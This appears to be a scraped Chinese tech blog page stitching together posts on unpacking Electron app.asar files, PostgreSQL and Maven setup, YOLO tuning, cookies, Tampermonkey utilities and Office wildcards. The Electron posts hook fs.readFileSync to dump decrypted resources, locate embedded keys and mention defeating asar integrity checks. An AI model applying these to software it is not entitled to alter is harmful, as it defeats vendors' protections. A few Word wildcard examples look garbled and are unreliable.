为什么解包只有部分资源 1. 文件在 app.asar.unpacked 而不在 asar 里 Electron 会把不适合打包进 asar 的文件放到同级目录: resources/ ├─ app.asar ← 前端代码、JS bundle └─ app.asar.unpacked/ ← 原生模块、大文件通常放在 unpacked 里的有:.node 原生扩展 ffmpeg.dll / ffmpeg.so AI 模型、WASM 文件 浏览器内核组件解包时要把 app.asar 和 app.asar.unpacked 都看一遍。 2. webpack 把所有代码打成了 bundle 现代 Electron 应用几乎都用 webpack 打包,解包后看到的不是: src/pages/index.js src/components/Button.js而是: main.js renderer.js chunk.a1b2c3.js所有模块都合并进了 bundle,没有"缺文件",只是代码被合并了。 3. 资源在运行时从网络下载 部分 AI 软件、IDE 工具首次启动时会在线下载:语言包 插件资源 模型文件 JS chunk下载后存到用户目录,不在安装包里: Windows: %AppData%\应用名\ ← 配置、sqlite、token %LocalAppData%\应用名\ ← 缓存、大文件、下载资源4. JS 被编译为 V8 字节码(.jsc) 商业 Electron 应用常用 bytenode 把 JS 编译成 .jsc: main.js → main.jsc普通 asar 解包后可以看到文件,但无法读取源码。 5. 应用对资源做了加密 运行时解密: // 应用内部流程(无法直接看到) const encrypted = fs.readFileSync('xxx.bin'); const code = decrypt(encrypted, key); eval(code);解包后只能看到加密的 .bin 文件。 解包工具 # 查看 asar 文件列表 npx asar list app.asar# 解包到指定目录 npx asar extract app.asar ./out解包后搜索这些关键字找 webpack 入口: webpackChunk __webpack_require__Electron 应用资源分布位置 通常存放resources/app.asar 前端页面、JS bundle、html、cssresources/app.asar.unpacked/ .node 模块、dll、ffmpeg、WASM%AppData%/应用名/ 用户配置、sqlite、历史记录%LocalAppData%/应用名/ 缓存、下载的大文件、模型%AppData%/.../Code Cache/ V8 字节码缓存%AppData%/.../IndexedDB/ 结构化数据逆向流程 1. 解包 asar npx asar extract app.asar ./out2. 检查 app.asar.unpacked ls resources/app.asar.unpacked/3. 找 preload.js preload 是 Electron 主进程和渲染进程之间的桥梁,通常包含 IPC 通信和权限暴露逻辑: out/main/preload.js out/dist-electron/preload.js4. 找用户数据目录 # Windows dir %AppData%\应用名 dir %LocalAppData%\应用名5. Hook fs 抓解密内容 对于运行时解密的资源,hook fs.readFileSync 把解密后的结果 dump 出来: const fs = require('fs'); const orig = fs.readFileSync;fs.readFileSync = function (path, options) { const result = orig.apply(this, arguments); if (path.includes('.bin') || path.includes('.jsc')) { console.log('[readFileSync]', path, result.toString('hex').slice(0, 64)); } return result; };6. 检查是否是 V8 字节码 .jsc 文件开头有 V8 magic bytes,可以用 bytenode 的 wrap 机制在运行时拿到原始代码,但需要和目标 Node.js/Electron 版本完全匹配。
解包 Electron 的 app.asar 只有部分文件?六个原因
Electron 应用的 resources/app.asar 解开看,只有一部分源码 / 资源——很多明明代码里 require 过的模块或者用到的图片、模型完全找不到。不是解包工具坏,是 Electron 应用故意这么组织的。 1. 文件在 app.asar.unpacked 最常见。resources/ 目录下有两个: resources/ ├── app.asar # 归档 └── app.asar.unpacked/ # 不归档,直接文件系统electron-builder / electron-packager 有 asarUnpack 配置,指定哪些文件不打进 asar。原因:原生模块 .node:Node 加载 native addon 只认真实文件路径 可执行文件(ffmpeg.exe、外部工具) 大文件(模型、字体、图片)——放 asar 会导致启动时全部读到内存 需要写入的资源(缓存、配置模板)解决:同时解 asar 和 unpacked 目录,才能拿全资源。 npx asar extract app.asar out/ # 然后手动合并 app.asar.unpacked 里的内容2. 运行时动态下载 很多 AI / IDE / 客户端首次启动会拉模型或 SDK:Cursor / VSCode 下载语言服务 Notion / Figma 缓存 web 资源 Whisper.cpp 下运行 GGUF 模型 客户端更新组件到 %AppData%常见落地目录: Windows: %APPDATA%\<AppName>\ %LOCALAPPDATA%\<AppName>\macOS: ~/Library/Application Support/<AppName>/ ~/Library/Caches/<AppName>/Linux: ~/.config/<AppName>/ ~/.cache/<AppName>/这些目录不属于 asar,别在 asar 里找。 3. webpack chunk 打包 / 混淆 代码里看到: require("./modules/wallet.js")在 asar 里 modules/ 目录空空如也。原因是打包时被 webpack 摊平: (() => { var __webpack_modules__ = { 123: (e, t, r) => { /* wallet.js 的内容 */ }, 456: (e, t, r) => { /* something else */ }, }; // ... })();wallet.js 变成模块 ID 123,塞进主 bundle。名字都没了,找源文件是找不到的。 恢复思路:用 webcrack 或 react-native-decompiler 尝试还原模块结构 source map 有的话直接 .map 文件恢复 主 bundle 里搜函数名 / 字符串手工定位4. asar 完整性校验 Electron 的 --asar-integrity 特性(v22+)——启动时校验 asar 的 SHA-256,被改过就直接崩: Integrity check failed: 0x...有的应用还会自校验: const hash = crypto.createHash("sha256").update(fs.readFileSync(asarPath)).digest("hex"); if (hash !== EXPECTED_HASH) app.exit();改过 asar 塞回去,应用启动就退。想跑起来得同时改校验逻辑。 5. 资源加密 商业 Electron 应用常见做法: 方式 A:启动时解密 const encryptedBuffer = fs.readFileSync("./data.bin"); const source = decrypt(encryptedBuffer, KEY); new Function(source)(); // 或 eval, vm.runInNewContextasar 里只能看到加密后的 blob。想读得先拿到 KEY——通常在主 bundle 里硬编码或经过混淆。 方式 B:V8 Bytecode(bytenode) xxx.jsc xxx.bin这些是 bytenode 编译的 V8 字节码,普通反编译工具还原不了源码。只能在运行时逆向。 6. 解包工具版本太老 老的第三方解包工具不支持新版 asar 格式:新版 asar header 有 offset 大文件跨块 unicode 文件名编码变化永远优先用官方: # 官方 CLI npx @electron/asar extract app.asar out/ npx @electron/asar list app.asar或者装全局: npm i -g @electron/asar asar extract app.asar out/一张排查表 看到"资源缺",按这个顺序查:现象 大概率原因.node / ffmpeg 找不到 在 app.asar.unpacked模型 / 大图找不到 unpacked 或运行时下载require 的模块找不到源文件 webpack 打包混淆.jsc / .bin 打不开 V8 bytecode 或加密改了 asar 应用启动就退 完整性校验一部分目录空 / 文件小 解包工具太老,换 @electron/asar一句话总结 Electron 解包"少东西"是常态。先看 app.asar.unpacked、再看 %AppData% 用户目录、再考虑 webpack chunk / 加密 / bytecode。用 @electron/asar 官方工具,别用老的第三方版本。
Windows 安装 PostgreSQL:Installer / ZIP 手动安装 / Docker 三种方式
方式一:官方 EDB 安装包(推荐新手) 从 postgresql.org/download/windows 下载 EDB 安装器,双击 .exe 按向导操作:选择组件:PostgreSQL Server + pgAdmin + Command Line Tools(全选即可) 安装路径默认 C:\Program Files\PostgreSQL\16\ 设置 postgres 超级用户密码(这一步要记好,后面连接必须用) 端口保持默认 5432 Locale 保持默认 等待安装完成安装后验证: # 命令行里输入(要先配好 PATH) psql -U postgres -h localhost# 输入密码后看到: postgres=#或者打开 pgAdmin 4 用图形界面管理。 方式二:ZIP 手动安装 适合不想用安装包、想自定义路径的场景。 1. 解压到目标目录,如 D:\pgsql 2. 初始化数据目录: D:\pgsql\bin\initdb -D D:\pgsql\data -U postgres -W-W 参数会提示设置 postgres 用户密码,必须加,否则后续连接会失败。 3. 启动服务: D:\pgsql\bin\pg_ctl -D D:\pgsql\data -l D:\pgsql\logs\postgresql.log start4. 连接验证: D:\pgsql\bin\psql -U postgres -h localhost5. 把 bin 目录加入 PATH: 系统属性 → 环境变量 → Path → 新增: D:\pgsql\bin加好之后才能直接用 psql、pg_ctl 等命令。 EDB 安装包也会自动加 PATH,ZIP 安装需要手动配。 方式三:Docker(开发推荐) 一条命令,跳过所有安装步骤: docker run --name pgsql \ -e POSTGRES_PASSWORD=123456 \ -p 5432:5432 \ -d postgres连接: psql -U postgres -h localhost # 密码:123456停止/启动: docker stop pgsql docker start pgsql开发环境用 Docker 最省事,环境隔离,随时删掉重建。 常见问题 连不上 5432:防火墙没放行 → 允许 PostgreSQL 入站 端口冲突 → 改 postgresql.conf 里的 port = 5433忘记 postgres 密码: 修改 pg_hba.conf,把认证方式临时改成 trust,重启服务后进去改密码,再改回 scram-sha-256。 psql 找不到命令: PATH 没配好。把 PostgreSQL bin 目录加进去,或者用完整路径调用。 版本选择版本 建议PostgreSQL 17 新项目首选(最新稳定版)PostgreSQL 16 最稳定,生产首选PostgreSQL 15 及以下 老项目兼容,新项目不建议关于生产环境 生产环境强烈建议用 Linux(Ubuntu/Debian/Rocky Linux)跑 PostgreSQL:更好的 I/O 调度和文件系统(ext4/xfs) pgBackRest、Patroni 等高可用工具主要支持 Linux 运维脚本生态更成熟Windows 版 PostgreSQL 可以用,但长期高并发稳定性和性能不如 Linux。开发/测试环境没问题,生产环境能用 Linux 就用 Linux。
Maven 运行 Spring Boot:mvn spring-boot:run 常见错误与多模块 ${revision} 问题
基本命令 在 Spring Boot 项目根目录执行: mvn spring-boot:run常用选项: # 跳过测试(开发时推荐) mvn spring-boot:run -DskipTests# 指定激活 profile mvn spring-boot:run -Dspring-boot.run.profiles=dev# 组合使用 mvn spring-boot:run -DskipTests -Dspring-boot.run.profiles=dev启动成功标志: Started XxxApplication in 3.421 seconds (process running for 4.012)打包后运行(生产推荐) mvn clean package -DskipTests java -jar target/xxx-0.0.1-SNAPSHOT.jar打包出的 fat jar 包含所有依赖,可在任意安装了 JRE 的机器上运行。 错误一:mvn 不是内部或外部命令 Maven 未加入 PATH,测试: mvn -v如果报错,检查 MAVEN_HOME 和 PATH 配置,重开终端或重启后重试。 错误二:No plugin found for prefix 'spring-boot' pom.xml 缺少 Spring Boot Maven 插件: <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>如果项目继承了 spring-boot-starter-parent,插件版本已由父 POM 管理,不需要指定版本号。 错误三:多模块项目 ${revision} 无法解析 多模块项目使用 ${revision} 占位符统一版本号时: [ERROR] Could not find artifact net.xxx:parent:pom:${revision}根因是运行命令的子模块还没安装父 POM 到本地仓库。解决方法: 从根目录先执行 install: # 进入多模块根目录(有最顶层 pom.xml 的目录) cd /path/to/root# 安装所有模块到本地仓库 mvn clean install -DskipTests安装后再进入子模块运行: cd maku-server mvn spring-boot:run -DskipTests或直接在根目录指定子模块: mvn spring-boot:run -pl maku-server -am -DskipTests-pl 指定目标模块,-am 同时构建依赖的模块。 端口占用 # Windows netstat -ano | findstr 8080 taskkill /PID <PID> /F# Linux lsof -i :8080 kill -9 <PID>或在 application.yml 修改端口: server: port: 8081
Maven 跑 Spring Boot 常用命令 + 依赖解析失败排查
Spring Boot 项目用 Maven 跑,其实就三个常用命令。但组合起来 + 遇到依赖冲突时坑不少。 三个常用命令 开发时启动: mvn spring-boot:run看到 Started XxxApplication in x.xxx seconds 就通了。 跳过测试加速启动: mvn spring-boot:run -DskipTests老项目测试跑几分钟是常态,开发时基本都会跳。 指定环境: mvn spring-boot:run -Dspring-boot.run.profiles=dev读 application-dev.yml 里的配置。多环境就用这个切。 打包 + 运行 生产部署更常用两步走: mvn clean package -DskipTests java -jar target/*.jar产物是 fat jar(Spring Boot 把依赖都塞里面),直接 java -jar 起就行。加参数: java -jar target/myapp.jar \ --spring.profiles.active=prod \ --server.port=8081后台跑用 nohup: nohup java -jar target/myapp.jar > app.log 2>&1 &生产建议走 systemd 或 Docker,不是裸 nohup。 常见问题 1. mvn 不是内部或外部命令 PATH 没配好。先确认: mvn -v不通就照 Windows 追加目录到 PATH 里的方法把 MAVEN_HOME\bin 加进去。改完 新开一个终端 或注销重登。 2. No plugin found for prefix 'spring-boot' pom.xml 里没引 Spring Boot 插件。加: <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>spring-boot-starter-parent 已经管好版本,不用写 version。没继承 parent 的话就得写。 3. 端口占用 Web server failed to start. Port 8080 was already in use.先查是谁: netstat -ano | findstr 8080 # Windows lsof -i:8080 # Linux/Mac杀掉: taskkill /PID 12345 /F或者改端口: server: port: 80814. artifact ${revision} not found 碰到这种: Could not find artifact net.maku:maku-boot:pom:${revision} in public问题不在 Maven 仓库、不在网络。是这个项目用了 Maven 的 CI Friendly Versions 特性——pom.xml 里的版本号写成 ${revision}: <version>${revision}</version>需要在根 pom.xml 里定义: <properties> <revision>4.11.0</revision> </properties>或者启动时传: mvn spring-boot:run -Drevision=4.11.0推荐:用 flatten-maven-plugin 生成扁平化的 pom: <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>flatten-maven-plugin</artifactId> <version>1.6.0</version> <configuration> <flattenMode>resolveCiFriendliesOnly</flattenMode> </configuration> <executions> <execution> <id>flatten</id> <phase>process-resources</phase> <goals><goal>flatten</goal></goals> </execution> <execution> <id>flatten.clean</id> <phase>clean</phase> <goals><goal>clean</goal></goals> </execution> </executions> </plugin>之后 mvn install 会先把 ${revision} 替换成真实版本再安装到本地库,其它模块拉的时候就不会崩了。 5. 依赖下载慢 Maven 默认仓库在国外,换阿里云或华为云: ~/.m2/settings.xml: <settings> <mirrors> <mirror> <id>aliyun</id> <mirrorOf>central</mirrorOf> <url>https://maven.aliyun.com/repository/central</url> </mirror> </mirrors> </settings>一次配好,永久生效。 6. 开发热重载 Spring Boot 自带 devtools: <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-devtools</artifactId> <optional>true</optional> </dependency>IDEA 里要开 "Build project automatically" + "Registry: compiler.automake.allow.when.app.running",代码保存自动 recompile + restart。 一句话总结 开发用 mvn spring-boot:run -DskipTests、生产用 mvn clean package + java -jar。${revision} 报错是 CI Friendly Versions,加 flatten 插件解决。
Windows 配置 Maven PATH 并用 mvn 运行 Spring Boot
PowerShell 添加 Maven 到 PATH 当前用户(永久) $addPath = "D:\soft\apache-maven-3.9.15\bin" $currentPath = [Environment]::GetEnvironmentVariable("Path", "User")if ($currentPath -notlike "*$addPath*") { [Environment]::SetEnvironmentVariable("Path", "$currentPath;$addPath", "User") Write-Host "已追加: $addPath" } else { Write-Host "PATH 已存在" }当前会话立即生效 $env:Path += ";D:\soft\apache-maven-3.9.15\bin"重新打开终端才能读到写入注册表的值,不想重开就用这行临时追加。 系统级 PATH(需管理员) $addPath = "D:\soft\apache-maven-3.9.15\bin" $currentPath = [Environment]::GetEnvironmentVariable("Path", "Machine")if ($currentPath -notlike "*$addPath*") { [Environment]::SetEnvironmentVariable("Path", "$currentPath;$addPath", "Machine") }cmd 添加 Maven 到 PATH :: 追加到当前用户 PATH(永久,写注册表) setx PATH "%PATH%;D:\soft\apache-maven-3.9.15\bin":: 当前窗口立即可用 set PATH=%PATH%;D:\soft\apache-maven-3.9.15\bin系统 PATH(需管理员): setx /M PATH "%PATH%;D:\soft\apache-maven-3.9.15\bin"setx 会写注册表,当前窗口不生效,重新打开 cmd 后验证: mvn -v用 mvn 运行 Spring Boot 在项目根目录(有 pom.xml 的那层)执行: mvn spring-boot:run常用参数: # 跳过测试(开发时推荐,速度快) mvn spring-boot:run -DskipTests# 指定 profile mvn spring-boot:run -Dspring-boot.run.profiles=dev打包后运行 mvn clean package -DskipTests java -jar target/xxx.jar生产部署通常用这种方式,不依赖 Maven 运行时。 常见错误 mvn 不是内部或外部命令 PATH 没生效。执行 mvn -v 测试,不行就重新打开终端,或确认 Maven bin 目录路径是否正确。 No plugin found for prefix 'spring-boot' pom.xml 缺少 Spring Boot Maven 插件,在 <build> 里加: <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build>端口 8080 被占用 netstat -ano | findstr 8080 taskkill /PID 进程ID /F或在 application.yml 改端口: server: port: 8081多模块项目依赖解析失败 ${revision} 未替换说明父 pom 没有先 install,在项目根执行: mvn clean install -N -DskipTests-N 表示只安装父 pom,不递归子模块,之后再正常 mvn spring-boot:run。
YOLO 推理结果解读:置信度阈值、NMS 调参与工程部署建议
YOLO 推理输出结构 标准 YOLO API 输出格式(以 Ultralytics 为例): { "class": "vehicle", "class_id": 1, "confidence": 0.91, "bbox": { "x1": 156.15, "y1": 487.68, "x2": 653.12, "y2": 690.16, "width": 496.97, "height": 202.47 } }判断结果质量时关注两点:置信度分布:主要目标是否集中在 0.7 以上 框的空间分布:是否存在高度重叠的框四类常见问题 1. 重复框(NMS 不净) 同一辆车被检测 2~3 次,框坐标相近但不完全重合。原因是 IOU 阈值偏低,NMS 未能合并相似框。 # 默认 0.45 偏低,调高到 0.55~0.60 results = model(img, iou=0.55)2. 低置信度噪声 大量 confidence < 0.4 的框混入结果,尤其是行人、远处小目标。默认 conf=0.25 会保留大量噪声。 # 推荐生产阈值 results = model(img, conf=0.45)效果:去掉垃圾框,结果更干净,后续处理负担更小。 3. 小目标识别差 行人、远处目标置信度普遍偏低(< 0.5),框也不稳定。可能的原因:输入分辨率不够(模型内部将图缩放到 640×640 后,远处目标只占几个像素) 训练数据中远距离目标样本少优化方向: # 提高推理分辨率 results = model(img, imgsz=1280)或使用更适合小目标的模型(yolo11x 或 RT-DETR)。 4. 类别冲突(person vs two_wheel) 人骑车时同时触发 person 框和 two_wheel 框,两框高度重叠。后处理规则: def resolve_conflict(detections, iou_thresh=0.7): persons = [d for d in detections if d["class"] == "person"] bikes = [d for d in detections if d["class"] == "two_wheel"] to_remove = set() for p in persons: for b in bikes: if compute_iou(p["bbox"], b["bbox"]) > iou_thresh: # 保留置信度高的 if p["confidence"] < b["confidence"]: to_remove.add(id(p)) else: to_remove.add(id(b)) return [d for d in detections if id(d) not in to_remove]工程状态推荐参数参数 实验值 推荐生产值conf_threshold 0.25 0.45iou_threshold 0.45 0.55后处理 Pipeline results = model(img, conf=0.45, iou=0.55) detections = parse_results(results)# 1. 过滤极小框(去远处误检) detections = [d for d in detections if d["bbox"]["width"] * d["bbox"]["height"] > min_area]# 2. 类别冲突解决 detections = resolve_conflict(detections)# 3. 业务逻辑处理模型"能用"和"可上线"之间的差距主要就是以上这几个阈值和后处理步骤。
document.cookie 有效期设置:expires 与 max-age 的区别和常见坑
document.cookie 通过在赋值字符串中附加 expires 或 max-age 属性来控制有效期。不写任何有效期,则默认为会话 Cookie,浏览器关闭后自动清除。 expires:指定过期时间点 const d = new Date(); d.setTime(d.getTime() + 7 * 24 * 60 * 60 * 1000); // 7天后document.cookie = "token=abc123; expires=" + d.toUTCString() + "; path=/";expires 的值必须是 UTC 格式时间字符串(toUTCString() 输出符合要求)。兼容性好,适合需要支持老浏览器的场景。 max-age:指定存活秒数 // 设置 7 天后过期 document.cookie = "token=abc123; max-age=" + (7 * 24 * 60 * 60) + "; path=/";// 设置 30 分钟后过期 document.cookie = "session=xyz; max-age=1800; path=/";max-age 单位是秒,语义更直观,是现代浏览器推荐用法。max-age 优先级高于 expires,两者同时存在时以 max-age 为准。 删除 Cookie 本质是将有效期设为过去: // 方法一:max-age=0 立即过期 document.cookie = "token=; max-age=0; path=/";// 方法二:expires 设为历史时间 document.cookie = "token=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/";常见坑 path 不一致无法删除 设置时用了 path=/,删除时也必须带上相同的 path: // 错误:path 不匹配,删除失败 document.cookie = "token=; max-age=0";// 正确 document.cookie = "token=; max-age=0; path=/";domain 不一致无法删除 .example.com 和 sub.example.com 是不同 domain,设置与删除必须一致。 HttpOnly Cookie 前端无权操作 带 HttpOnly 标志的 Cookie 在 document.cookie 中不可见,只能由服务端通过 Set-Cookie 响应头设置和清除。 实用封装 function setCookie(name, value, days) { const d = new Date(); d.setTime(d.getTime() + days * 24 * 60 * 60 * 1000); document.cookie = `${name}=${encodeURIComponent(value)}; expires=${d.toUTCString()}; path=/`; }function getCookie(name) { return document.cookie .split('; ') .find(row => row.startsWith(name + '=')) ?.split('=')[1]; }function deleteCookie(name) { document.cookie = `${name}=; max-age=0; path=/`; }使用示例: setCookie('token', 'abc123', 7); // 7天有效期 getCookie('token'); // 'abc123' deleteCookie('token');如果需要跨子域共享 Cookie,添加 domain=.example.com;HTTPS 环境下建议同时设置 Secure; SameSite=Strict。
油猴脚本虚拟文件输入 + FileReader 封装
在油猴脚本里读取本地文件,思路是:动态创建隐藏的 <input type="file">,触发点击,再用 FileReader 读取内容。 封装函数 /** * 选择文件并读取内容 * @param {Object} options * @param {string} [options.accept] - 文件类型限制,如 ".json,.txt" * @param {string} [options.readAs="text"] - text | dataURL | arrayBuffer * @param {string} [options.encoding="utf-8"] - 文本编码(仅 text 模式有效) * @returns {Promise<{file: File, content: any}>} */ function selectFileAndRead(options = {}) { const { accept = "", readAs = "text", encoding = "utf-8" } = options; return new Promise((resolve, reject) => { let input = document.getElementById("__file_input__"); if (!input) { input = document.createElement("input"); input.type = "file"; input.id = "__file_input__"; input.style.display = "none"; document.body.appendChild(input); } input.accept = accept; input.onchange = () => { const file = input.files[0]; if (!file) { reject(new Error("未选择文件")); return; } const reader = new FileReader(); reader.onload = (e) => resolve({ file, content: e.target.result }); reader.onerror = () => reject(new Error("读取失败")); switch (readAs) { case "dataURL": reader.readAsDataURL(file); break; case "arrayBuffer": reader.readAsArrayBuffer(file); break; default: reader.readAsText(file, encoding); } }; // 必须重置 value,否则选同一个文件不会触发 change 事件 input.value = ""; input.click(); }); }使用示例 读取文本文件 selectFileAndRead({ accept: ".txt,.json" }).then(({ file, content }) => { console.log(file.name, content); });读取 JSON 并解析 selectFileAndRead({ accept: ".json" }) .then(({ content }) => JSON.parse(content)) .then((data) => console.log("JSON 数据:", data)) .catch((err) => console.error(err));读取图片为 base64 selectFileAndRead({ accept: "image/*", readAs: "dataURL" }).then( ({ content }) => { const img = document.createElement("img"); img.src = content; document.body.appendChild(img); } );async/await 版 document.addEventListener("keydown", async (e) => { if (e.ctrlKey && e.key === "u") { try { const { file, content } = await selectFileAndRead({ accept: ".json" }); const config = JSON.parse(content); applyConfig(config); } catch (err) { console.error(err); } } });关键坑 浏览器安全限制:input.click() 必须在用户事件(点击、键盘)的同步调用链里触发,不能在 setTimeout 或 Promise 回调里调用,否则会被拦截。 同一文件无法重复选择:input.value = "" 在 click() 前必须执行,否则选同一个文件第二次不会触发 change 事件。 中文乱码:Windows 下生成的文件有时是 GBK 编码: selectFileAndRead({ encoding: "gbk" });DOM 污染:函数复用同一个 __file_input__ 元素,不会重复创建,避免 DOM 堆积导致的性能问题。 在油猴脚本中的完整示例 // ==UserScript== // @name 配置文件导入 // @namespace http://tampermonkey.net/ // @version 1.0 // @match https://example.com/* // @grant none // ==/UserScript==(function () { "use strict"; // 插入导入按钮 const btn = document.createElement("button"); btn.textContent = "导入配置"; btn.style.cssText = "position:fixed;top:10px;right:10px;z-index:9999"; document.body.appendChild(btn); btn.addEventListener("click", async () => { const { content } = await selectFileAndRead({ accept: ".json" }); const config = JSON.parse(content); console.log("已加载配置:", config); }); // ... selectFileAndRead 函数定义 ... })();
JS 动态注入 CSS 样式:setStyle 函数
在油猴脚本或 Chrome 扩展里需要动态修改页面样式时,直接写 element.style.xxx 只能改行内样式,无法用 CSS 选择器批量设置。更好的方案是动态创建 <style> 标签。 setStyle 函数 function setStyle(id, css) { let style = document.getElementById(id); if (!style) { style = document.createElement("style"); style.id = id; document.head.appendChild(style); } style.textContent = css; }用 id 做唯一标识——如果该 id 的 <style> 已存在就直接更新内容,不会重复插入。 使用示例 // 隐藏广告 setStyle("ad-blocker", ` .ad-banner, .sidebar-ad, [class*="advertisement"] { display: none !important; } `);// 强制暗色模式 setStyle("dark-mode", ` body { background: #1a1a1a !important; color: #e0e0e0 !important; } a { color: #7eb8f7 !important; } `);// 动态更新(复用同一个 style 元素) setStyle("custom-theme", `body { font-size: ${fontSize}px; }`);为什么不用 innerHTML // ❌ 安全风险:可能被 XSS 利用 style.innerHTML = css;// ✅ 推荐:textContent 不会解析 HTML style.textContent = css;textContent 只设置文本内容,不会解析 HTML 标签,比 innerHTML 更安全。 移除样式 function removeStyle(id) { const el = document.getElementById(id); if (el) el.remove(); }removeStyle("dark-mode");油猴脚本中的注意事项 油猴脚本默认在 document-end 注入,此时 document.head 已存在。如果设置了 @run-at document-start,需要等待 head 可用: // @run-at document-start function setStyle(id, css) { const target = document.head || document.documentElement; let style = document.getElementById(id); if (!style) { style = document.createElement("style"); style.id = id; target.appendChild(style); } style.textContent = css; }document.documentElement(即 <html>)在 document-start 阶段就已存在,可以作为 fallback。 GM_addStyle(油猴内置 API) Tampermonkey 提供了 GM_addStyle 作为快捷方式: // @grant GM_addStyle GM_addStyle(` .target-element { color: red; } `);不需要去重处理,但无法动态更新——每次调用都会新增一个 <style> 标签。频繁更新时还是用自定义的 setStyle。
JS 动态插入 style 标签与油猴虚拟 input 读取本地文件
动态创建 style 标签 基础写法 const style = document.createElement('style'); style.textContent = ` .my-class { color: red; font-size: 16px; } `; document.head.appendChild(style);缺点是多次调用会重复插入,页面上堆积大量 <style> 标签影响性能。 用 id 防重复插入 function addStyle(id, css) { if (document.getElementById(id)) return; const style = document.createElement('style'); style.id = id; style.textContent = css; document.head.appendChild(style); }addStyle('my-style', ` .box { background: #000; color: #fff; } `);适合油猴脚本或浏览器插件,确保只插入一次。 可覆盖更新(推荐) function setStyle(id, css) { let style = document.getElementById(id); if (!style) { style = document.createElement('style'); style.id = id; document.head.appendChild(style); } style.textContent = css; }已存在则覆盖 textContent,不堆积。 按规则粒度插入 const style = document.createElement('style'); document.head.appendChild(style);style.sheet.insertRule('.title { color: blue; }', 0);适合动态拼接规则的场景,比如根据条件添加不同的选择器。 油猴中直接用 GM_addStyle // @grant GM_addStyle GM_addStyle(` .my-class { color: green; } `);油猴环境推荐用内置 API,不需要手动操作 DOM。 注意事项style 建议放在 head 里,放 body 部分浏览器不会立即生效 频繁整块更新 textContent 会触发页面重排,CSS 内容大时注意 insertRule 插入的规则不会显示在开发者工具的 style 面板里(只在 Computed 里可见)油猴虚拟 input 读取本地文件 浏览器安全限制:文件选择框必须由用户主动触发(点击/按键),不能在页面加载时自动弹出。 封装成 Promise /** * @param {Object} options * @param {string} [options.accept] - 文件类型限制,如 ".json,.txt" * @param {string} [options.readAs] - "text" | "dataURL" | "arrayBuffer" * @param {string} [options.encoding] - 文本编码,默认 "utf-8" * @returns {Promise<{file: File, content: any}>} */ function selectFileAndRead(options = {}) { const { accept = '', readAs = 'text', encoding = 'utf-8' } = options; return new Promise((resolve, reject) => { let input = document.getElementById('__file_input__'); if (!input) { input = document.createElement('input'); input.type = 'file'; input.id = '__file_input__'; input.style.display = 'none'; document.body.appendChild(input); } input.accept = accept; input.onchange = () => { const file = input.files[0]; if (!file) { reject(new Error('未选择文件')); return; } const reader = new FileReader(); reader.onload = (e) => resolve({ file, content: e.target.result }); reader.onerror = () => reject(new Error('读取失败')); switch (readAs) { case 'dataURL': reader.readAsDataURL(file); break; case 'arrayBuffer': reader.readAsArrayBuffer(file); break; default: reader.readAsText(file, encoding); } }; input.value = ''; // 清空,否则同一文件第二次选不会触发 change input.click(); }); }使用示例 读取 JSON 文件: selectFileAndRead({ accept: '.json' }) .then(({ content }) => JSON.parse(content)) .then(data => console.log('解析结果:', data)) .catch(err => console.error(err));读取图片转 base64: selectFileAndRead({ accept: 'image/*', readAs: 'dataURL' }) .then(({ content }) => { const img = document.createElement('img'); img.src = content; document.body.appendChild(img); });Windows 文件中文乱码: selectFileAndRead({ accept: '.txt', encoding: 'gbk' }) .then(({ content }) => console.log(content));关键细节复用 input:用 id 缓存,避免多次点击在 DOM 里堆积隐藏元素 input.value = '':选同一个文件时 change 不会重触发,必须先清空 必须用户主动触发:把 selectFileAndRead() 放在按钮点击或快捷键回调里
Office 查找替换通配符规则与 VBA 正则表达式替换
Office 通配符模式(不是正则) Word / Excel 的查找替换里勾选"使用通配符"后,支持的是简化版匹配规则,和标准正则不同:通配符 含义 示例* 任意多个字符 sh_* 匹配 sh_ 开头的所有内容? 单个任意字符 sh_? 匹配 sh_ 加一个字符[0-9] 数字字符类 匹配一个数字[A-Za-z] 字母字符类 匹配一个字母[!a-z] 排除字符类 匹配不是 a-z 的字符@ 前一元素重复一次或多次(相当于 +) [0-9]@ 匹配连续数字\1 引用第一个捕获组 保留匹配部分** 在 Office 里没有特殊含义,不会"更强匹配",用一个 * 即可。 常用通配符替换示例 提取字母部分(去除数字): 查找: ([A-Za-z]*)([0-9]*) 替换: \1\1 保留第一个括号里的内容(字母部分),丢弃数字。 匹配 sh_ 开头: sh_** 匹配后面任意内容(包括空)。 只匹配 sh_ 后跟数字: sh_[0-9]@@ 在 Word 通配符里相当于正则的 +,表示重复一次或多次。 Word 删除多余空行: 查找: ^13^13 替换: ^13^13 是 Word 里的段落标记(回车符),两个连续段落标记替换成一个即可删除空行。 VBA 调用真正的正则表达式 Excel 原生不支持正则,但可以通过 VBA 调用 VBScript.RegExp 引擎: Function RegReplace(text As String, pattern As String, replacement As String) As String Dim re As Object Set re = CreateObject("VBScript.RegExp") re.Global = True re.IgnoreCase = False re.Pattern = pattern RegReplace = re.Replace(text, replacement) End Function保存后在单元格里直接用: =RegReplace(A1,"\d+","")这才是标准正则(支持 \d、\s、+、? 等)。 打开 VBA 编辑器:Excel → Alt + F11 插入 → 模块 粘贴上面的函数 保存,回到工作表使用Power Query(进阶) Excel 内置 Power Query 的 M 语言支持部分文本处理: // 提取所有数字 Text.Select([Column], {"0".."9"})// 删除数字 Text.Remove([Column], {"0".."9"})不如正则灵活,但不需要写 VBA,适合简单的批量清洗。 选择建议场景 推荐方式简单前缀/后缀匹配 Word/Excel 通配符标准正则(\d、\w、捕获组) VBA + VBScript.RegExp大量数据批量清洗 Power Query复杂逻辑处理后粘回 Excel VS Code / Notepad++ 处理后导入
Word / Excel 查找替换:通配符模式 vs 真正的正则,VBA RegExp 方案
